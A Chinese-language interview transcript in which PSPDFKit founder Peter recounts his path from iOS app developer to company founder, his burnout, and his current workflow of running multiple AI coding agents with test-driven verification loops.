    Peter:差不多。后来有一次,我在地铁上用一个交友网站,用的是 iPhone OS 2。我打了一大段很走心的消息,刚点发送后车进隧道了,JavaScript 禁用了发送按钮,然后直接报错。那时候没有复制粘贴、没有截图、页面还不能滚动,那段话就这么没了。我当时气炸了,觉得这简直不可接受。回到家我就把那个网站黑了,用正则去解析 HTML。

     

    现在看当然完全不该这么干,后来我硬做了一个 App。我用的是 iPhone OS 3 的 Beta 版,Core Data 也是 Beta,还用改过的 GCC,把 blocks 编译器移植进来。各种 Beta 技术一锅炖,我自己其实也不知道在干嘛,折腾了很久才跑起来。我给那家公司写信说我做了个 App,问他们怎么看,没人理我,我就直接丢到 App Store 上架了。

     

    主持人:这就是那个交友 App 的客户端?

     

    Peter:对,本质上就是把 HTML 当 API 用,纯解析页面。

     

    主持人:现在看挺野的,但在当年确实没人这么干。

     

    Peter:我定价五美元,第一个月就赚了一万美元。当时我完全不知道流程有多复杂,Apple 的系统也很原始。我甚至把收款账户填成了我爷爷的。有一天我爷爷打电话问我,说怎么 Apple 给他打了一大笔钱,我跟他说“这是我的,你千万别动”。

     

    后来有一次我在夜店里,看到有人在用我的 App,我特别骄傲,差点冲过去跟他说这是我做的,最后还是忍住了。没多久,我就跟工作了五年的公司说,我要全力做这个项目。老板当面嘲笑我,说这是个一时的风口,肯定不长久。那一刻我心里就憋了一口气:总有一天,我要做一家比你们值钱的公司。结果这花了我八年的时间。

     

    我有点成瘾性格,一旦投入就停不下来。我疯狂打磨这个 App,高速学习,也是那段时间我开始用 Twitter,那些对我职业发展影响巨大。

     

    后来有一天凌晨三点,我在派对上喝得有点多,然后接到了一个电话,对方说他是 Apple 的 John,说我的应用有问题,有人举报不当图片。电话挂了,我的 App 也就此下架。我刚辞了工作,心态直接炸裂,开始接零散的活儿。

     

    在旧金山的一家酒吧里,我被介绍为“奥地利最好的 iOS 开发者之一”。就这样,我拿到了美国的工作机会,搬过去待了一阵子。后来去了 Nokia Developer Days,那真是史前时代了。

     

    在那里,有人找我,说他们在东欧做了一个杂志阅读 App,经常崩溃。那会儿 iPad 刚出来,Steve Jobs 说它是出版业的救世主,大家都在做杂志 App。我一听觉得这是个不错的短期项目,就接了。我一打开代码,整个人都懵了。那是我见过最糟糕的 iOS 代码,整个项目只有一个文件,几千行。

     

    主持人:还是 Objective-C?

     

    Peter:对,是 Objective-C,而且他们把 Windows 当成 Tab 来用。我都不知道这能行。我很惊讶这居然能用,但感觉像个纸牌屋。我试着“外科手术式”地修补问题,但基本上是动一处、坏一片。最后我好不容易把它稳住了,就跟他们说,“这太疯狂了,我要重写”。

     

    他们原本预计要半年,我说我一个月就能搞定,最后花了两个月,也不算差太远。接下来我就一直在解决各种 PDF 相关的技术问题。这个领域谈不上多性感,但每个领域里都能找到真正有挑战的点。比如一个 C 语言调用渲染 PDF 可能要 30MB,但整个系统只有 64MB,如果你不够小心、不够聪明,系统随时就把你干掉。

     

    我那段时间完全沉迷在“把它做到极致”这件事上,比如屏幕旋转时页面的动画效果,这种细节我会反复打磨,花了远超合理的时间。所以原本一个月的活,最后干了两个月,但结果是好的。之后我又跟他们合作了一段时间。

     

    后来有个朋友给我发消息,说他在做一个杂志应用,PDF 那块特别难。我跟他说,我刚好做过,对方就问我能不能把代码给他,我说可以。先把那套杂志 App 里和 PDF 有关的部分抽出来,确认对方也没意见。

     

    然后我突然想到,既然有人需要,为什么不试着卖给更多人?我用一个 WordPress 模板,硬改成能跑在 GitHub Pages 上。然后用 fastlane 流程最后得到一个 Dropbox 链接,里面有源代码。当天晚上我就发了条推文。一周之内,有三个人买了,大概两百美元。

     

    在当时对我来说,这已经很不可思议了。不只是有人付钱,还有十封邮件在抱怨,说他们也想买,但这个产品还没有他们想要的功能。比如有人问,为什么不能选中文本?几个月后我才真正意识到,这功能到底有多难。

     

    主持人:PDF 里的文本选择。

     

    Peter:对,尤其是这个。你知道那句话吗:公司是由年轻人建立的,因为他们不知道有多难。我当时完全没概念,后来才发现这简直是疯了一样复杂。

     

    直到现在,前几周还有人给我写邮件,说他们在做 PDF 相关的事情,想找我帮忙。我基本都会回一句:不好意思,我已经把这辈子该懂的 PDF 知识都学完了,远远超过一个正常人该承受的量,祝你好运。

     

    不过当时,这个项目真的起飞了。我一边等签证,一边继续维护。买的人越来越多。那是夏天,我躺在湖边晒太阳,邮箱里突然又进来一封邮件,说又有人买了,六百美元、八百美元。随着功能变多,我不断涨价。

     

    等我真的去旧金山那家公司上班时,这个项目赚的钱,已经超过我在那里拿的工资了。但我那时的想法还是:我得去那家公司看看,于是还是去了。

     

    主持人:也就是说你搬到了 San Francisco。

     

    Peter:对,而且很有意思的是,那家公司后来也让我用自己的框架帮他们做东西。创业公司当然不可能只干八小时,我的本职工作很忙,个人项目也一样,睡的自然越来越少。

     

    三个月后,我的经理 Sabine 把我叫过去,问我一句话:“Peter,你还好吗?”公司给了我一个选择:要么继续在这家公司工作,把个人项目停掉;要么反过来。他给我一周时间决定,而且因为签证问题,如果不留下,就得离境。这个决定其实一点都不难。我很清楚,我想做自己的事情。

     

    主持人:那时候你已经看出来了,这是一个真正的生意,至少能给你带来和美国工作差不多的收入。

     

    Peter:我从来不是被钱驱动的。

     

    主持人:那你真正的驱动力是什么?

     

    Peter:我想做那种让别人觉得“太棒了”的东西。我特别迷恋细节,迷恋那些小小的惊喜感。并不是因为这个领域没有竞争,相反,竞争很多。但我心里一直憋着一股劲:我要做一个像 Apple 自己会做出来的产品,充满关怀、打磨、克制,还有那些行业里很多人已经不在乎的细节。

     

    所以哪怕有竞争对手功能更多、做得更早,我的产品依然更成功。因为开发者试过之后,都会觉得我的用起来最好。我一直觉得,产品的“感觉”比功能列表重要得多。我们为什么买 Apple?不是因为它功能最多,而是因为它用起来就是更舒服。

     

    从卖组件到创建公司

     

    主持人:那你是怎么从“一个人在卖 PDF 组件”,走到开始招人的?你什么时候意识到这件事可以做得更大?

     

    Peter:我回到维也纳之后,决定彻底 all in,开始和一些自由职业者合作。说实话,我招人其实招得太晚了,完全可以更早迈出这一步,但这一步真的很难。

     

    从那时起,这个产品开始有了自己的生命。我职业生涯里差不多有 13 年都在打磨这个名字奇怪的产品。名字我一直没改,当初想名字只花了几分钟,就叫 PSPDFKit。后来改过一次,但说实话,要不是不得不改,我可能还是不会动。

     

    主持人:名字确实有点绕,但非常独特。

     

    Peter:如果你写 Objective-C,你就会觉得这个名字很合理,因为它本质上就是个命名空间。我的营销策略也一直很简单:我只关心开发者。虽然最终拍板的是管理层,但只要我能说服公司里的工程师,他们就会替我去内部推广、游说。

     

    我们从来不做冷邮件,也不搞侵略式销售。所有客户都是自然找上门的。我们只做三件事:把产品做好、写真正有价值的技术博客,以及参加大量开发者大会。对我来说,最重要的是让大家明白,这个产品背后的人是真的懂技术、也真的热爱这件事。而这一点,会直接体现在产品里。

     

    主持人:PSPDFKit 底层用的是什么技术?最早是 Objective-C 吗?后来转成 Swift?有没有用到 C 之类的?

     

    Peter:一开始确实是 Objective-C,后来逐步覆盖到所有平台。真正一次大的转折,是我们把 Apple 自带的渲染器换掉了,那个东西当时问题很多,之后改成了一个大型的 C++ 渲染器,后来所有平台基本都共用这一套核心。

     

    我们在 Web 这块也做得非常早,是最早一批跑在 WebAssembly 上的 PDF 框架之一。当时我做了一件现在看来还挺聪明的事:在一切刚开始的时候,我们做了一个性能基准测试。后来这个 benchmark 被 Google、Microsoft、Apple 等公司拿去用,成了他们内部的参考指标之一。结果就是,这些大公司为了跑得比我们快,反过来不断把他们的渲染器优化得更快,而测试用的内容,其实就是我们自己的渲染场景。

     

    创业后,分享公司的“核心秘密”

     

    主持人:厉害。随着公司规模变大,我对 PSPDFKit 的一个深刻印象是,你们写了大量博客。记得有一篇文章,讲的是团队怎么运作:每个功能都要从 proposal 开始,因为 API 很大、用户很多,所以你们非常保守;还有类似 Boy Scout Rule 那样的重构原则。团队从十几个人发展到几十个人,这种文化是怎么建立起来的?

     

    Peter:我卖股份的时候,公司大概七十人,现在已经接近两百人了。一开始我就很清楚,在维也纳不可能招到我需要的所有人,所以我们从一开始就是 remote first,后来又变成了一种混合模式,反而更复杂。

     

    很多东西都是边走边学。我从来没有“我要当 CEO”的执念,我一直在写代码,我会找合适的人来帮我做公司的其他部分。业务我能做,也做得还可以,但我真的不喜欢那种企业销售电话,你得去琢磨一个“魔法数字”,看对方可能愿意付多少钱。这就是企业销售,真的很折磨。但说到底,这种模式可能是唯一行得通的。

     

    主持人:你是说企业销售本身?

     

    Peter:对。

     

    主持人:很多开发者去厂商官网,看不到价格,只看到“联系我们”或者“预约演示”,都会很不爽。为什么一定要这样?

     

    Peter:原因很简单,我们会看你的公司情况,然后大概判断你能接受的价格,再定一个数。听起来确实很糟糕,但当你的产品没办法简单拆成一个统一定价时,这是现实。

     

    一个自由职业者,和一家财富五百强公司,用法完全不同,获得的价值也完全不同。如果统一收费,要么把小客户挡在门外,要么让大客户觉得价格可疑。价格定低了,大公司采购流程都走不起来;定高了,小团队直接流失。所以这个过程看起来不公平,但在某些产品上,反而是最公平的方式。

     

    软件大致可以分成四个象限:容易或困难,有趣或无聊。我们处在“又难又无聊”的那一块。

    如果只构建每个开发者都想构建的东西,卖起来一定很难。卖给开发者本来就难,如果一个东西既简单又有趣,那基本没戏。但如果是那种“我真不想碰,而且还特别难”的,反而是个好位置。我找到了这样一个细分领域,里面有无限多复杂问题可以解决。

     

    主持人:那解析 PDF 到底难在哪?有规范啊,我是工程师,照着规范做不就行了?

     

    Peter:举个最简单的例子。PDF 里有链接,比如目录,点一下跳到某一页。我一开始的假设是,可能有一两百个链接。我就按这个规模设计了整个数据模型。后来来了一个付费很高的客户,说他们的 PDF 打开要四分钟,我一看是一份五万页的文本圣经,每一页上有上百个链接。

     

    主持人:那就是五十万个链接。

     

    Peter:对,我的模型直接爆炸了。假设差了三个数量级。但这时候你已经是一个成熟产品了,还有稳定的 API。你要怎么彻底重构内部,又不破坏所有用户?所有东西都得改成 lazy loading。以前加载 100 个对象没问题,现在不行了。我花了整整两个月重写内部结构,同时还要保证对外 API 看起来还是“简单的”。用户不需要知道哪些是立即加载的、哪些是延迟加载的,引用关系也必须保持一致。

     

    主持人:这些引用必须还能连得上。

     

    Peter:对。我其实非常喜欢做支持,这也是公司能成功的重要原因之一。如果你提一个工单,结果 CEO 直接回你,还帮你解决问题,那感觉是完全不一样的。

     

    我一直有个策略:支持一定要快。五分钟内回,和两天后回,体验差别巨大。这个问题就是其中一个例子,我花了两个月把它彻底解决,最后跑得非常顺,那种满足感真的很强。

     

    主持人:那时候你自己还写很多代码,对吧?虽然团队已经很大了,但你仍然会深入细节。

     

    Peter:当然。我有一支非常棒的团队,有些模块我参与得更多。移动端一直是我最上心的部分,但我也会深度参与技术、市场和业务。业务上我有 Jonathan 帮忙,市场和销售也有很优秀的人。其实,持续写博客、写你是怎么解决这些复杂问题的,会帮你吸引同样想解决复杂问题的人。

     

    主持人:这是我对 PSPDFKit 最深的印象之一。你们的博客不只是营销,而是真的好看。说实话,我并不做 PDF,但如果要说起 PDF 框架,第一个想到的就是 PSPDFKit,因为只有你们会写这么有意思的技术文章。

     

    主持人:你现在回头看,会不会也觉得奇怪,为什么更多公司不这么做?还是说,这本来就需要创始人本身是个喜欢写、喜欢拆解问题的工程师?你当时写这些文章,是出于“这对公司有用”,还是单纯因为你自己想把解决过的难题记录下来?

     

    Peter:我喜欢分享,也喜欢启发别人。有时候团队内部也会纠结,要不要写这些内容,毕竟算是一些“秘密武器”,但我从来没太在意这些声音。还有一点很重要:写下来本身,就是加深理解。你觉得自己懂了,但当你要教别人时,才会发现自己是否真的懂。所以对我来说,这也是一种复盘和保存。我解决了一个很难的问题就想把它留下来,顺便帮到别人。

     

    当然,我也享受关注。但更重要的是,有时候我自己过一年再回头看这些文章,会发现这就是公司最好的文档,是我自己的“技术笔记本”。它在很多方面都很有用。很多大公司流程太重,而且不少开发者本身不喜欢写东西,所以我后来干脆规定,每个月给所有人一整天,只干一件事:写一篇博客。

     

    主持人:那天不用干别的活,只写。

     

    Peter:对,就写。一天的时间其实已经很多了,现在我写一篇文章也就几个小时。我不想过多谈论公司增长阶段,但我觉得公司最有意思的阶段,是刚开始以及快速成长的阶段。

     

    后来人多了,流程多了,更像是在“养护花园”,而不是疯狂 hack。事情变得更迭代化,也没那么刺激了。人一多,内部摩擦、情绪问题也多,这些我并不享受。那段时间我真的被烧干了。

     

    “停更”,赋闲

     

    主持人:你觉得是什么让你最终人力交瘁的?

     

    Peter:我只是工作太猛了,几乎每个周末都在工作,还要处理大量管理事务。CEO 本质上就是“兜底的人”,凡是别人没处理好、处理不了、或者搞砸的,最后都得你来收拾。而且很孤独,你不能随便讲很多事情。哪怕公司已经很开放了,你也不能一直表达负面情绪,就算真的发生了很糟糕的事,你也得扛着。

     

    我记得有个周末,合伙人凌晨给我打电话,说一家大型飞机制造公司,因为我们的软件崩了,飞机停飞了。那是个非常“刺激”的周末,最后我拆了他们的应用,证明是他们外包代码乱改,触发了授权回退逻辑。但那种时刻,你会觉得公司随时可能完蛋,而这种压力只是所有压力中的一部分。

     

    这些事情你能撑一阵子。但我也相信,burnout 不完全是因为工作太多,更是因为你开始不再真正相信自己在做的事情,或者内部冲突太多。我们当时在管理团队里争论也很多,我还犯了一个错误,以为公司应该用一种过度民主的方式来管理。这些都消耗了我。但即便如此,我一点都不后悔这段经历。

     

    主持人:从外人的角度看,你卖掉了股份,赚到足够多的钱,按理说已经不用再工作了。很多刚起步、或者未来想创业的人,都会觉得这简直是终极梦想。既然已经“通关”,是不是就该停下来、享受生活了?现实是,大多数人走不到那一步。但一旦走到了,好像任务就完成了,就像攀岩爬到顶,敲响铃铛,游戏结束。

     

    主持人:外界看,你博客更新停了好几年。那段时间你在做什么?又学到了什么?也就是在你回归到现在之前,那几年到底发生了什么?

     

    Peter:我真的花了很长时间让自己“降压”,去填补那些我以为错过的人生体验,花了不少钱。有几个月,我甚至连电脑都没开过。那段时间,我完全没有“接下来该干嘛”的感觉。

     

    说实话,那种状态挺违和的,你这么早就“退休”,或者说有一个好到不需要再工作的退出,这件事本身就会把人搞懵。那几年对我来说,其实挺难熬的。

     

    后来有一天,大概在四月,我突然想起一个很多年前只是当副业做过的项目,我心想还是想把它继续做完吧。于是,三年多之后,我重新坐回电脑前,开始写代码。那个项目是个 Twitter 分析工具,用 Swift 和 SwiftUI 写的。其实当年我就知道,这东西如果做成 Web 会好很多。

     

    主持人:所以这是一个你一直放在心里的老想法?跟 Twitter 有关的?

     

    Peter:对,算是分析工具。最开始只是我自己想用,因为市面上根本没有。三年后再看,还是没有。现在勉强算有点类似的,但我中途也被别的事带跑了。我当时想用 Web 技术重写,但说实话,在公司里我从来没碰过那一块。那一整套技术栈一直是 Martin 在负责,他很厉害,所以我完全不用操心。

     

    主持人:所以你其实一直没怎么亲手下场?

     

    Peter:对。等我再回来自己做的时候,我才发现,“哇,这一层真的很深”,而且这其实是个陷阱:你在某一套技术上越熟练,跳到另一套时就越痛苦。不是做不到,是太折磨人了。我在 Apple 那套技术里,闭着眼都能写代码;可一换栈,连最基础的东西都要去 Google,一下子就感觉自己又成了新手。

     

    主持人:而且经验越多,越讨厌这种感觉。效率下降,明明知道自己本可以更快。

     

    Peter:对。所以我回来的时候就在想:那 AI 到底是什么?CI、AI 那些大家都在吐槽的东西,到底值不值得看一眼?老实说,我某种程度上反而要感谢那三年几乎没碰电脑的日子,因为你们那时候已经把 AI 看过一轮了,知道它当时有多烂。

     

    回归即上手 Claude Code,“上瘾了”

     

    主持人:对,你错过了 GitHub Copilot 的早期测试版,那种“高级自动补全”的阶段。后来有了 GPT-3.5,再到 GPT-4,才是真正的飞跃。所以你回来之后,第一个用的是什么工具?你等于是直接跳过了两年开发者一边用、一边嫌弃 AI 的阶段。

     

    Peter:是 Claude Code。

     

    主持人:你一上来就用它?

     

    Peter:对。我记得它刚发布不久,之前就有 Beta。

     

    主持人:也就是说,你休息了一段时间回来,直接打开 Claude Code,前面的演进全都没经历。

     

    Peter:没错。我记得我拿了一个以前写得很乱的副项目,又用我自己做的一个浏览器插件,把整个 GitHub 仓库转成一个 1.3MB 的 Markdown 文件。我把它丢进 Google AI Studio,用 Gemini 之类的模型,敲了一句:“给我写一份 spec。”它直接生成了四百多行代码。

     

    我再把这份 spec 拖回 Claude Code,说一句“照这个做”,然后我去干别的事了。等我回来,它告诉我:“已经百分之百可以用于生产环境了。”我一跑,直接崩了。

     

    后来我又给它接了 MCP,让它能用浏览器,我记得 MCP 当时已经有了。它又跑了几个小时,最后居然做出了一个 Twitter 登录页,还能跑点流程。说实话,效果不算好,但它真的“做出了点东西”。那一刻对我来说,简直是被震住了。

     

    主持人:那是在去年四月、五月左右,对吧?

     

    Peter:对。已经好到让我看清方向了。我立刻意识到:这就是未来。从那之后,有好几个月我都睡不好觉。

     

    主持人:我记得有一次我凌晨五点在 Twitter 上给你发私信,你马上就回了。我还问你怎么这么早,你说这是常态,你基本都没睡。我问你在干嘛,你说一直在用 Claude,特别上瘾。

     

    Peter:真的,就跟赌场一个道理,它就是我的小老虎机。你敲下一个 prompt,要么啥也没发生,要么一坨垃圾,要么突然给你个让人头皮发麻的结果。

     

    主持人:而且你是一个经验非常丰富的开发者,对你来说,被“震撼”并不容易。你见过好代码、烂代码,心里是有一个标准的。

     

    Peter:所以才好笑。我以前在公司时,花了大量的时间在所谓“抠细节”上。现在回头看,我都会想:我当时在干嘛?客户根本感知不到这些。当然,代码要可靠、要快、要安全,这些是底线。但我当年真的抠太多了。

     

    主持人:但另一方面,你刚才也说过,大家之所以喜欢 PSPDFKit,正是因为它打磨得最好、最稳定。你不觉得那种“抠细节”其实是在控制技术债吗?某种程度上,正是这种偏执才让产品性能和质量都站得住。

     

    Peter:是的,这么说也没错。到现在我也还是这样。我上一篇博客,其实就是在“忏悔”,我承认我开始在主分支上直接提交 AI 写的代码。

     

    与此同时,我其实还是花了大量时间在做结构重构。就拿最近来说,我特别想把一个 PR 合进去,那是一条接近一万五千行的改动链。

     

    在一个项目里,我把所有东西都迁移到了插件化架构,这件事让我非常兴奋。我真的很在意整体结构。但我没有把每一行代码都读一遍,因为很多代码说白了就是枯燥的“管道工程”。

     

    你看,大多数应用本质上都差不多:数据从 API 进来,是一种形态;你解析、封装,变成另一种形态;存进数据库,又是一种形态;再读出来,又变一次;最后变成 HTML 或别的形式,你在页面里输入,它又变了。大部分软件,其实就是在应用里不断“揉捏”数据,我们本质上就是高级的数据搬运工,而真正难的部分,如 Postgres 这种东西三十年前就被一群天才解决了。这就是现实。

     

    当然,总会有一些有意思的地方,但我真的不需要关心每个按钮怎么对齐、每个 Tailwind class 怎么写。有些细节很无聊,有些细节很有趣,但整体来说,更重要的是系统架构,而不是逐行读代码。

     

    日常如何用 AI 编程工具工作?

     

    主持人:那我们跳到现在。你现在用 Claude 相关工具写代码时,日常工作流是怎样的?你用终端吗?几个终端?都用哪些工具?你刚才说你不太做逐行代码审查,但又一直在想做架构。如果你要跟一个即将加入团队的开发者解释,你的一天大概是什么样的,会怎么说?

     

    Peter:这个过程挺有意思的。稍微回顾一下,一开始是 Claude Code,然后我就彻底上头了。接着有一段时间我用 Cursor,又试了 Gemini 2.5,后来又用了 Opus 4。我还把不少朋友也拉进来了,比如我在越南认识的 Armin 和 Mario,他们都是被我“传染”的。我当时状态真的很上头,搞得他们也开始试,然后大家一起凌晨五点不睡觉。我把这群人戏称为“黑眼圈俱乐部”。这也是为什么我后来在伦敦搞了一个 meetup,名字就叫Claude Code Anonymous

     

    真正把我震住的,是一个认知上的变化:我突然意识到,我现在几乎什么都能做了。

     

    以前做副业要慎重挑选,因为写软件真的很难。现在也不轻松,但那种“摩擦”感变了。过去是“我在这个技术栈里很强,在那个栈里很菜”,现在我会想:算了,直接上 Go 吧。我完全不懂 Go,但我有系统层面的理解。一旦你有了这种理解,就会慢慢形成一种感觉,知道什么是对的、什么是错的。这本身就是一种技能。

     

    我记得有人发推说,写代码时你能“感觉到摩擦”,而正是这种“摩擦”帮你做出好的架构。我现在 prompt 的时候也有同样的感觉:我能看到代码刷刷地生成、能感知它花了多久、能感觉到模型是不是在“顶你”,也能判断生成的东西是乱的,还是有章法的。

     

    我在发出 prompt 的那一刻,心里其实已经有个预期:这事大概要多久。如果明显比预期慢,我立刻就知道有问题。

     

    主持人:你等于是在“感觉”模型的状态,对吧?

     

    Peter:对,我觉得这是一种共生关系。我在学着更好地“跟它说话”,甚至可以说是一种新的、半死不活的语言。同时,我用这些工具的能力在提升,模型本身也在进化。

     

    从四月到现在,我觉得真正的拐点是在夏天:那时它已经强到,你几乎可以不手写代码,就把软件做出来。但真正让我彻底服气的,其实是 GPT-5.2。我觉得它被严重低估了。

     

    我其实不太理解,为什么还有那么多人主要用 Claude Code。当然,我能理解那是一种不同的工作方式。但我现在用的这一套强得离谱,几乎每一个 prompt 都能给我想要的结果。这在 Claude 上是很难想象的。

     

    我最近的一个项目常常在 Codex 上同时跑五到十个 agent。如果你是典型的 Claude Code 用户,你得忘掉不少“为了哄它出好结果”的小技巧。

     

    我也见过 Claude Code 团队,他们确实开创了一个新类别。Claude Code 是一个定义品类的产品,用来做通用电脑工作非常棒、用来写代码也很好,我现在几乎每天还在用。但一旦进入复杂应用的代码编写,Codex 就强太多了。Claude Code 往往只读三四个文件,就自信满满开始写代码,你得不断拉着它,让它多读、多看,理解整个代码库,才能把新功能编进去。Codex 则会安静地读文件,可能读十分钟。如果你只用一个终端,这体验确实会让人崩溃,我完全理解。

     

    但我更喜欢那种,你不用事无巨细地告诉它该怎么做,我和模型更像是在对话。

     

    我会说:“我们一起看看这个结构,有哪些可能性?你有没有考虑过这个功能?”因为每一次 session,对模型来说都是从零开始理解你的产品,你有时候只需要给它一点点提示,让它往不同的方向探索。我不需要什么 Plan 模式,只是一直聊,直到我说“那就这么建吧”,它才会真的开始动手。当然,它们都挺“容易被触发”的,但只要我说的是“讨论”“给我选项”,它就不会直接写代码。

     

    主持人:所以你大量的 prompting,其实是在和 agent 一起做规划?

     

    Peter:对。比如我会提醒它“我们需要文档,那放在哪里合适?”它可能会建议“这应该单独成一页。”系统设计是我在做的,因为我对产品整体形态有清晰的理解。我不需要逐行理解代码,那是 Codex 在做的事,但架构师是我。

     

    主持人:这听起来有点像很久以前的一种模式:有一个“Architect”,以前也是开发者,但不再亲手写代码,而是负责系统蓝图,下面有一群工程师实现。这种模式在很多现代公司已经不流行了,大家更偏向资深工程师一起协作。不过在一些银行之类的地方,还是能看到这种“大写的 Architect”。问题是,这种模式往往很让人讨厌:设计的人不用值班,不直接为结果负责,最后在现实里容易失效。

     

    而你现在的状态,倒像是你是 architect,但手下是一群 agent。区别在于,你依然是独立贡献者,代码是你的、责任也是你的。如果你推了个 bug 把 ClawdBot 搞挂了,就像最近那次,你是要负责的。以前在公司里,architect 往往被流程和人层层保护,不太需要直接面对结果。

     

    Peter:我其实不太喜欢“architect”这个词,我更愿意叫自己 builder。我发现,能不能把 AI 用好,人群之间差异非常明显。

     

    像我关心的是结果、是产品,我很在意它的感觉、体验。我关心结构层面的骨架,但不会抠那些小细节。而另一类人,特别喜欢写硬核代码、研究算法,他们不太喜欢产品、市场这些东西。他们更享受解决“难问题”。而偏偏,这正是 AI 最擅长的部分,所以这类人往往会抗拒 AI,或者感到非常失落。

     

    很多时候,我只是给模型一点提示,但老实说,我去年在软件架构和系统设计上学到的东西,比过去五年加起来都多。这些模型里装着海量知识,一切都只差一个“问对的问题”。

     

    像我那个 Twitter 项目到现在还没完成,我也很希望能回去继续做。所有东西一度都曾跑得很好,但用着用着就开始卡、变得奇怪,然后又莫名其妙恢复。这类问题特别难 debug,因为很难复现。基本就是:你用得越多,它就越慢。

     

    后来我发现,是 Postgres 里有一些在特定 insert 时触发的逻辑把数据库拖得很忙。模型看不到这一层,因为抽象太远了。问题出在一个文件里的一个函数,名字也不明显。我一直没问对问题,直到我问了一句:“这里有没有副作用?”才把它挖出来,然后改掉了。所以说,一切真的都只差在能否问一个对的问题。

     

    主持人:但前提是,你得有足够的知识和经验。

     

    Peter:对,这正是关键。那些对内部实现执念很深、又不太在乎“能不能先做出来”的人,往往会抗拒 AI;而那些更兴奋于“把东西做出来”的人,反而进展飞快。

     

    还有一点对我帮助很大:以前我开公司带团队,可以盯着每个人的代码,要求他们写成我想要的样子。但很多没管过人的开发者,没有学会放手,接受“这段代码不是我理想中的样子,但它能让我更接近目标”。不完美的地方,永远可以之后再改。

     

    我非常相信“迭代式改进”。当年在公司里,我就是花了很长时间学会一点点放手。所以,当我开始用 Claude Code 的时候,感觉就像我手下有了一群工程师:有时候很不完美,有时候甚至有点蠢,但偶尔又异常聪明。我需要引导他们,一起朝着一个目标前进。某种程度上,这感觉就像又当了一次老板。

     

    高效率的秘诀

     

    主持人:挺有意思的一点是,在之前,你用一种非常传统的方式做了十几年的软件,甚至不止十几年。你不仅把产品打磨得很扎实,也非常擅长带团队、设立高标准,对“工程本身”这件事非常在意。而现在,你用 agent、用 AI 写代码有一年左右的时间了。对比这两种阶段,你觉得真正改变了什么?又有哪些东西,其实并没有变?

     

    Peter:我不太喜欢“vibe coding”这个说法。

     

    主持人:那你更愿意怎么称呼?

     

    Peter:现在大家基本都这么叫了吧。我自己对外会说,我做的是“Agentic Engineering”。现在我往往是凌晨三点开始写代码。那些枯燥、机械的编码工作基本都被自动化掉了,我的速度快了很多,但与此同时,我需要思考的事情也多得多。

     

    我依然能进入那种心流状态,感觉和以前几乎一样,但精神消耗其实更大,因为我不是在管理一个工程师,而是同时管五个、十个 agent。我在不同模块之间来回切换:这边是一个子系统,那边是一个功能点,我心里大概知道这个功能交给 Codex 可能要跑四十分钟到一个小时,那我就先把方案想清楚再丢给它去做,然后我转头去做别的事。

     

    这个在跑、那个也在跑,我要过一会儿回来看看这个、再切到另一个,脑子里一直在做上下文切换。我其实挺不喜欢这种状态的,也觉得这是一个过渡期的问题。将来模型和系统更快之后,我可能就不用并行这么多。但为了保持 flow,我现在必须高度并行。

     

    通常会有一个主项目占据我的主要注意力,旁边还有几个“卫星项目”,可能我只花五分钟交代一下、它跑半小时,我回来看看结果就行,对脑力占用不算大。

     

    主持人:听你这么说,我想到两种画面。一种是那种经营类游戏,要管厨房里的员工,看着一道道菜出炉,你得不停切换。另一种是看国际象棋大师同时下二十盘棋,他们走到一块棋盘前看一眼,立刻做决定。有的棋要想久一点,有的扫一眼就走。你就像在不断扩展自己的“并行带宽”,只要你还能顺畅地切换。

     

    Peter:区别在于,用 Claude Code 的时候,你确实得换一种工作方式。它很快,但第一版产出经常是跑不通的。比如它写了点东西但你忘了同步改另外三个地方的话,程序就崩了。真正高效的秘诀在于:你必须把闭环做完整,让 agent 能自己 debug、自己测试。这是最大的秘密,也正是我后来效率暴涨的原因。

     

    但老实说,在 Claude Code 那一套下,很多时候你还是得回去修修补补,迭代次数也不少,所以总体并不一定快多少,只是更“互动”。现在用 Codex,几乎一次就对。我的基本策略永远是:做一个功能,一定让它写测试,确保能跑起来。

     

    主持人:至少要能跑。

     

    Peter:对。哪怕是写一个 Mac 应用也是一样。就像我前两天在 debug 一个问题:同样的 TypeScript 代码,在 CLI 里能找到远程网关,但在 Mac app 里不行。Mac app 的 debug 特别烦,你得编译、启动、点来点去才知道不对。

     

    所以我干脆说:“你给我做一个 CLI 调试工具,走完全相同的代码路径,我可以直接调用。”然后就让它自己跑、自己改。它跑了一个小时,最后告诉我这是一个 race condition 和一个配置错误。听起来也很合理。我不需要亲眼看它怎么写代码,只要闭环跑通了就行。

     

    主持人:你其实是因为搭好了验证闭环,所以你信任它。这和在大公司里做项目有点像,所有测试都过了,并不代表百分百没问题,但已经是一个很强的信号了,至少有人替你想过、测过。

     

    Peter:即便在我最新的项目里,也照样会有 bug。比如 Antigravity 在工具调用的循环格式上有些奇怪的行为,你得做过滤。我一开始被折腾了很久,后来突然意识到:我为什么不把这事自动化?

     

    于是我直接跟 Codex 说:“设计一套 live test,起一个 Docker 容器,把整个系统装起来,跑一个完整 loop,用指定文件里的 API key,然后让模型读一张图片,生成一张新图片,再反过来分析结果。”

     

    这个过程跑得很慢,但它把我所有 API key 都测了一遍,从 Anthropic 到 OpenAI 再到 GLM,所有细节问题全修了,因为闭环是完整的。

     

    主持人:你说的“闭环”,本质上就是让 agent 能验证自己的工作

     

    Peter:没错。这也是为什么现在这些模型特别擅长写代码,但写创意内容反而一般,因为代码是可验证的:能编译、能 lint、能跑、能看输出,只要你设计得好,就能形成一个完美的反馈回路。我甚至会把核心逻辑都设计成可以用 CLI 跑,因为浏览器那一套循环太慢了,你要的是快速反馈。

     

    主持人:所以有些东西其实没怎么变:比如后端、业务逻辑这种,本来就更容易验证。

     

    Peter:反而有个挺反直觉的点:用这种方式写代码,会让你变成一个更好的工程师。因为你必须把架构想清楚,才能更容易验证,而验证正是把事情做对的关键。

     

    主持人:这其实和 AI 之前是一样的。做复杂系统的人,一开始就会想怎么让它可测试、接口怎么设计、要不要 mock、要不要端到端测试。这些都是非常困难、而且一旦做了就很难改的决策。

     

    Peter:软件还是软件。我现在可以很坦然地说,我不再亲手写代码了,但我写的代码质量比以前更好。而以前我已经写得很好了。在公司那会儿,测试常常很痛苦,各种边界条件、分支爆炸。

     

    主持人:除了像 Anders 这种我非常尊敬坚持 test-first 的人,大多数开发者其实都不爱写测试。我自己也是。测试和文档对我来说从来不是一种创作。

     

